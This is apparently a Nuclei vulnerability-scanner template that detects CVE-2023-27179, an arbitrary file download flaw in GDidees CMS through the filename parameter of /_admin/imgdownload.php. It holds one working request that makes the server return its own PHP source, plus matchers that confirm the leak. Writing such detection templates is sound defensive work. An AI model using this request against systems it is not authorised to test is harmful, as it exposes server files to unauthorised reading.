id: CVE-2023-27179

info:
  name: GDidees CMS v3.9.1 - Arbitrary File Download
  author: theamanrawat
  severity: critical
  description: |
    GDidees CMS v3.9.1 and lower was discovered to contain an arbitrary file download vulenrability via the filename parameter at /_admin/imgdownload.php.
  reference:
    - https://www.gdidees.eu/cms-1-0.html
    - https://gist.github.com/Hadi999/516aa25b953b0cba57089a0c11b1305b
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27179
  classification:
    cve-id: CVE-2023-27179
  metadata:
    max-request: 1
    verified: "true"
  tags: cve,cve2023,file-download,gdidees,lfr

http:
  - method: GET
    path:
      - "{{BaseURL}}/_admin/imgdownload.php?filename=imgdownload.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '$filename=$_GET["filename"];'
          - '@readfile($filename) OR die();'
        condition: and

      - type: word
        part: header
        words:
          - 'application/force-download'

      - type: status
        status:
          - 200